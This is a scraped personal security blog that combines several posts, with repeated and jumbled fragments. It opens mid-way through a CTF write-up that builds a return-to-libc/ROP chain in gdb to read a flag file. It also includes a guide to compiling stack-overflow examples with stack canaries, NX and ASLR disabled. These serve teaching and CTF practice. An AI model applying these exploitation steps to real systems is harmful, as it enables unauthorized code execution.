0xf7fa3000 0xf7fa5000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fa5000 0xf7fa6000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fa6000 0xf7fa9000 rw-p mapped 0xf7fd9000 0xf7fdb000 rw-p mapped 0xf7fdb000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack] </code></pre> Now we know the location of a stack variable. At this point, we could be clever and overwrite the value of tape_ptr</code> to "jump" the tape pointer to the stack! Before we do this, we should figure out where we want to write. To perform a return-to-libc or ROP attack, we want to write our payload starting at a return address. So, we need to figure the offset from run_interpreter()</code>'s c</code> local variable and its return address. We know that run_interpreter()</code> is called from main()</code>, so the return address should point to code inside main()</code>. We can calculate the offset a few different ways. One way is to look at the disassembly of run_interpreter()</code>: gdb-peda$ pdisas run_interpreter Dump of assembler code for function run_interpreter: ... 0x565558e3 <+58>: push 0x1 0x565558e5 <+60>: lea esi,[ebp-0x9] 0x565558e8 <+63>: push esi 0x565558e9 <+64>: push 0x0 0x565558eb <+66>: call 0x56555500 <read@plt> ... End of assembler dump. </code></pre> We can see this snippet corresponds to a call to read(0, ebp-0x9, 1)</code> because arguments are pushed on the stack in reverse order. The return address is usually at ebp+4</code>, so using a little arithmetic we find the offset is (ebp+4) - (ebp-9) == 13</code>. Let's double check our work with the backtrace</code> (shortened to bt</code>) command: gdb-peda$ bt #0 0x56555914 in run_interpreter () #1 0x565555f4 in main () #2 0xf7e14a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #3 0x56555632 in _start () gdb-peda$ x/wx cmd + 13 0xffffd30c: 0x565555f4 </code></pre> Creating our payload🔗</a></h2> Now we know where to jump to write our payload. What payload should we write? We cannot easily spawn a shell with one function call, but we can make multple function calls using the "esp lifting" method</a> described by Nergal. Instead of spawning a shell (which would require finding other libc functions), we can call open()</code>, read()</code>, and write()</code> to open the flag file, read the flag contents into a buffer, and write it to stdout: fd = open("flag.txt", 0, 0) read(fd, buf, 50) write(1, buf, 50) </code></pre> To finish the exploit we still need to: Figure out where to write "flag.txt" string</li> Figure out how to use the returned file descriptor from open()</code></li> Find a pop-ret gadget to increase esp between function calls</li> Finally launch our exploit</li> </ol> Storing "flag.txt"🔗</a></h3> We can simply use tape</code> to store our string "flag.txt". Don't forget to include a NUL terminator character at the end. We can compute the address of tape</code> by reading tape_ptr</code>. We can now add the relative offset between tape</code> and tape_ptr</code> to the leaked address of tape_ptr</code> to get the absolute address of tape</code>. This equation is actually quite useful in general for determining absolute addresses: b.absolute_address = a.absolute_address + a_to_b.relative_offset </code></pre> When we write our exploit script, we can just use the 'symbols' field of the ELF pwntools</a> class to compute the offset. Using returned file descriptor🔗</a></h3> The Linux man page for open()</a> explains that open()</code> must return the "lowest-numbered file descriptor not currently open for the process". Because we know that stdin</code> (0), stdout</code> (1), stderr</code> (3), and /dev/urandom</code> (4) are the only open files, we know that open()</code> will return 5 as the next file descriptor. Now our payload simplifies to: open("flag.txt", 0, 0) read(5, buf, 50) write(1, buf, 50) </code></pre> Finding a pop-ret gadget🔗</a></h3> We can use PEDA to easily find pop-ret gadgets with the ropgadget</code> command. gdb-peda$ ropgadget ret = 0x565554d6 popret = 0x565554ed pop2ret = 0x56555678 pop3ret = 0x565558a5 pop4ret = 0x565558a4 leaveret = 0x565557cf addesp_12 = 0x565554ea addesp_16 = 0x565557c6 addesp_20 = 0x56555761 addesp_28 = 0x56555675 addesp_44 = 0x565559a9 </code></pre> We want to smallest pop-ret that will accommodate all of the arguments we want to pass. I chose the pop4ret gadget. gdb-peda$ pdisas 0x565558a4 /5 0x565558a4 <handle_cmd+211>: pop ebx 0x565558a5 <handle_cmd+212>: pop esi 0x565558a6 <handle_cmd+213>: pop edi 0x565558a7 <handle_cmd+214>: pop ebp 0x565558a8 <handle_cmd+215>: ret </code></pre> Now, to determine the absolute address of the pop4ret gadget, we need to figure out the relative offset of the pop4ret and some absolute code address. Our gadget is in the code segment corresponding to brain-repl</code>: gdb-peda$ vmmap Start End Perm Name 0x56555000 0x56556000 r-xp /brain-repl-ctf-problem/brain-repl 0x56556000 0x56557000 r--p /brain-repl-ctf-problem/brain-repl 0x56557000 0x56558000 rw-p /brain-repl-ctf-problem/brain-repl 0xf7dfa000 0xf7dfb000 rw-p mapped 0xf7dfb000 0xf7fa3000 r-xp /lib/i386-linux-gnu/libc-2.19.so 0xf7fa3000 0xf7fa5000 r--p /lib/i386-linux-gnu/libc-2.19.so 0xf7fa5000 0xf7fa6000 rw-p /lib/i386-linux-gnu/libc-2.19.so 0xf7fa6000 0xf7fa9000 rw-p mapped 0xf7fd9000 0xf7fdb000 rw-p mapped 0xf7fdb000 0xf7fdc000 r-xp [vdso] 0xf7fdc000 0xf7ffc000 r-xp /lib/i386-linux-gnu/ld-2.19.so 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.19.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.19.so 0xfffdd000 0xffffe000 rw-p [stack] </code></pre> We need an absolute address in the same code segment, so our leaked GOT entries will not work. Instead, we can read the return address from run_interpreter()</code>'s stack frame, which will correspond to an address inside main. gdb-peda$ bt #0 0x56555914 in run_interpreter () #1 0x565555f4 in main () #2 0xf7e14a83 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6 #3 0x56555632 in _start () gdb-peda$ p/d 0x565558a4 - 0x565555f4 $6 = 688 </code></pre> We know that the pop4ret gadget is at return_address + 688</code>. Finally launch our exploit🔗</a></h3> To finally launch our exploit, we need to cause run_interpreter()</code> to return. We can accomplish this causing handle_newline</code> or handle_cmd</code> to fail. void run_interpreter() { // ... while (1) { // ... if (handle_newline() < 0) { return; } if (handle_cmd() != 0) { break; } } p_str("bye!\n"); } int handle_cmd() { int i; switch (*cmd) { // ... default: p_str("Invalid command!\n"); return -1; } return 0; } </code></pre> Writing the exploit script🔗</a></h2> I like to use the pwntools library</a> when writing exploit scripts, especially the tubes module</a> (to communicate via sockets) and the ELF module</a> (to easily read symbol/GOT information from ELF binaries). You can view solve_brain_repl.py</a> on GitHub. Recap🔗</a></h3> We can increment/decrement tape_ptr</code> and read/write a word where tape_ptr</code> points. Because there is no bounds checking, we can read/write the GOT entries and global variables.</li> Leak GOT entries for open()</code>, read()</code>, and write()</code> and the global variables tape_ptr</code> and cmd</code>.</li> Compute the address of run_interpreter()</code>'s return address using the leaked cmd</code>.</li> Write "flag.txt\x00"</code> to tape</code>.</li> Overwrite tape_ptr</code> with the computed address of the return address to cause tape_ptr</code> to "jump" to the stack.</li> Leak the original value of the return address.</li> Compute the absolute address of the pop4ret gadget using the leaked return address.</li> Write out the return to libc function chaining payload of open()</code>, read()</code>, and write()</code> using the pop4ret gadget.</li> Send an unexpected command to cause run_interpreter()</code> to return, launching our payload.</li> </ol> Conclusion🔗</a></h2> The method I described is certainly not the only way to solve this problem. If you have any questions or comments, please contact</a> me. References🔗</a></h2> The advanced return-into-lib(c) exploits: PaX case study</a>, by Nergal (Phrack 58)</li> Shared library call redirection via ELF infection</a>, by Silvio Cesare (Phrack 56)</li> Return-Oriented Programming: Exploits Without Code Injection</a>, by Hovav Shacham, et al.</li> Pwntools documentation</a></li> </ul>

Smashing the Stack For Fun and Profit (Today)

2016-04-18T00:00:00+00:00

The article Smashing the Stack for Fun and Profit</a> by Aleph One is the seminal work in bringing the method of stack-based buffer overflows to the masses. However, a problem with Smashing the Stack is that it was published in 1996—modern defenses (which are enabled by default) frustrate would be hackers who try to follow the tutorial, only to find that the examples do not work.

As the 20^{th anniversary of Smashing the Stack approaches, this blog post tries to show how the sample code must be compiled so that the resulting executables are 32-bit and vulnerable as described.}

This guide assumes you are running Ubuntu 14.04 or later. The directions would be similar if you are running a Debian or Ubuntu derivative</a>. If you are not running a Linux-based system already, you can install an Ubuntu 14.04 in a virtual machine with Virtualbox</a>.

Install necessary packages 🔗</a></h2>
If you are running 64-bit (amd64) Ubuntu 14.04 or later, then you need add the necessary 32-bit libraries:
sudo dpkg --add-architecture i386 sudo apt-get update sudo apt-get install libc6:i386 libncurses5:i386 libstdc++6:i386 \ g++-multilib build-essential gdb </code></pre> If you are running 32-bit (x86) Ubuntu 14.04 or later:
sudo apt-get update sudo apt-get install build-essential gdb </code></pre>Compiling the example code🔗</a></h2> In order to compile the example, code you need to disable the security features that have been enabled since Smashing the Stack has been written. Here's an example of how to compile example1.c: gcc -m32 -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 \ -o example1 example1.c </code></pre> This is what the different compile switches do: -m32</code>: compile for 32-bit</li> -fno-stack-protector</code>: disable stack canaries</a></li> -z execstack</code>: ensure the stack is executable (disable NX bit protection</a>)</li> -D_FORTIFY_SOURCE=0</code>: disable FORTIFY_SOURCE</a></li> </ul> Running programs🔗</a></h2> Before running programs you need to disable ASLR</a> for your system so that addresses are predictable. To disable ASLR: sudo sysctl -w kernel.randomize_va_space=0 </code></pre> To re-enable ASLR: sudo sysctl -w kernel.randomize_va_space=2 </code></pre> Reading Smashing the Stack🔗</a></h2> You are now ready to read Smashing the Stack. Because of some minor mistakes in the original article, I recommend you read a revised version in the links below. Links🔗</a></h2> Smashing the Stack for Fun & Profit : Revived</a>, formatted/revised by avicoder</a></li> Smashing The Stack For Fun And Profit (Revised PDF version)</a>, based on HTML version by Prabhaker Mateti</li> Smashing The Stack For Fun And Profit</a> (Original Phrack article)</li> </ul>

Umbra Firewall

2015-08-25T00:00:00+00:00

We designed and implemented Umbra (available on GitHub</a>), an application-layer firewall that targets embedded web interfaces. Umbra is designed to be simple for manufacturers to configure and add to existing embedded systems. Umbra works by acting as a friendly man-in-the-middle that enforces a set security policy.

Umbra can protect against attacks such as cross-site request forgery (CSRF), information leaks, and authentication bypass vulnerabilities; we found that Umbra would have prevented half of the vulnerabilities that we investigated in the CVE database</a>.

More details are available in our peer-reviewed paper</a>, which appeared at 1st Workshop on the Security of Cyber-Physical Systems (WOS-CPS 2015)</a>, which was co-located with ESORICS</a>.

Our prototype of Umbra is available as free and open source software on GitHub</a>.

Links 🔗</a></h2>

Peer-reviewed paper</a></li>
Slides [PDF]</a></li>
Code on GitHub</a></li> </ul>
BibTeX:🔗</a></h2>
@InProceedings{finkenauer:umbra, title = {Umbra: Embedded Web Security through Application-Layer Firewalls}, author = {Travis Finkenauer and J. Alex Halderman}, booktitle = {Proc. of the 1st Workshop on the Security of Cyber-Physical Systems}, month = sep, year = 2015, } </code></pre>

Improved i3 Workspace Switcher

2015-03-18T00:00:00+00:00

I recently switched to the i3 window manager</a>. This was not my first time using a tiling window manager---I have previously used xmonad</a>. My gripe with xmonad was that even though I am familiar with functional programming (specifically OCaml), I did not understand the Haskell configuration script at all, and it seems like I'm not the only one</a>. For me, i3 wins over xmonad in terms of configuration simplicity.

xmonad workspace switching 🔗</a></h2>
However, I do like the way xmonad handles workspaces on multiple displays. Each display acts like a viewport into a workspace. When switching to a workspace, the output that has focus will switch to the requested workspace. If the requested workspace was already showing on another output, then the other output and focused output will swap their workspaces.

i3 workspace switching 🔗</a></h2>
i3's workspace switching contrasts with xmonad's approach. With i3, each workspace is assigned to an output. When switching to a workspace, the corresponding output displays the requested workspace, displacing the workspace that was previously showing on that output. This makes it more tedious to move a workspace to a specific output.
The Solution 🔗</a></h1>
In order to solve this problem, I wrote a script for i3 that emulates xmonad's workspace switching. You can grab the script from Github</a>. I used i3-py</a> to communicate with i3 via the IPC interface, which you can install with pip</a>.
Example Install 🔗</a></h2>
Download script
cd ~/.i3 git clone https://github.com/tmfink/i3-wk-switch.git </code></pre> Add keybindings to your i3 config (for me it's ~/.i3/config</code>)# Switch to workspace like xmonad set $x_switch exec --no-startup-id ~/.i3/i3-wk-switch/i3-wk-switch.py bindsym $mod+1 $x_switch 1 bindsym $mod+2 $x_switch 2 bindsym $mod+3 $x_switch 3 bindsym $mod+4 $x_switch 4 bindsym $mod+5 $x_switch 5 bindsym $mod+6 $x_switch 6 bindsym $mod+7 $x_switch 7 bindsym $mod+8 $x_switch 8 bindsym $mod+9 $x_switch 9 bindsym $mod+0 $x_switch 10 </code></pre> Link🔗</a></h1> Github Repo</a></li> </ul>

Estonia Internet Voting

2014-11-03T00:00:00+00:00

We investigated the security of Estonia's Internet elections assuming a state-level adversary. I wrote the proof-of-concept client malware that is able to silently steal votes.

The project website is https://estoniaevoting.org/</a>. You can see read our peer-reviewed paper at https://estoniaevoting.org/findings/paper/</a>.

</iframe> </div>

BibTeX:🔗</a></h2>

@InProceedings{ivoting-ccs2014,
</span>  author =       {Drew Springall and Travis Finkenauer and
</span>                  Zakir Durumeric and Jason Kitcat and
</span>                  Harri Hursti and Margaret MacAlpine and
</span>                  J. Alex Halderman},
</span>  title =        {Security Analysis of the {E}stonian
</span>                  {I}nternet Voting System},
</span>  booktitle =    {Proceedings of the 21st ACM Conference on
</span>                  Computer and Communications Security},
</span>  year =         2014,
</span>  month =        nov,
</span>  organization = {ACM}
</span>}
</span></code></pre>

Conclusion 🔗</a></h2>
With the `num</code> crate, we can write stable, safe Rust code that is generic over various integer types.</p>`
`Thanks to` `Gulshan Singh</a> for reviewing this post.</em></p>`
`Comments</strong> on Reddit</a></p>`

Conclusion 🔗</a></h2>
The method I described is certainly not the only way to solve this problem. If you have any questions or comments, please contact</a> me.</p>

Links🔗</a></h2>

Smashing the Stack for Fun & Profit : Revived</a>, formatted/revised by avicoder</a></li>
Smashing The Stack For Fun And Profit (Revised PDF version)</a>, based on HTML version by Prabhaker Mateti</li>
Smashing The Stack For Fun And Profit</a> (Original Phrack article)</li> </ul>

The Solution 🔗</a></h1>
In order to solve this problem, I wrote a script for i3 that emulates xmonad's workspace switching. You can grab the script from Github</a>. I used i3-py</a> to communicate with i3 via the IPC interface, which you can install with pip</a>.</p>

Link 🔗</a></h1>

Github Repo</a></li> </ul>

Travis Finkenauer's Blog

A Rust FFI adventure in unsafety

Generic numeric functions in safe, stable Rust with the num crate

Fuzzybit

CTF Writeup: Brain Repl

Smashing the Stack For Fun and Profit (Today)

Umbra Firewall

Improved i3 Workspace Switcher

Estonia Internet Voting

Travis Finkenauer's Blog

A Rust FFI adventure in unsafety

Capstone examples🔗</a></h2> The general workflow for Capstone C interface is:</p> Get a Capstone handle</li> Disassemble instructions in a buffer</li>

Generic numeric functions in safe, stable Rust with the num crate

What do we need?🔗</a></h2> In order to be able to write a generic function for various number types, we need a trait that guarantees several things, including:</p> Addition</li> Multiplication</li>

Fuzzybit

CTF Writeup: Brain Repl

Smashing the Stack For Fun and Profit (Today)

Umbra Firewall

Improved i3 Workspace Switcher

Estonia Internet Voting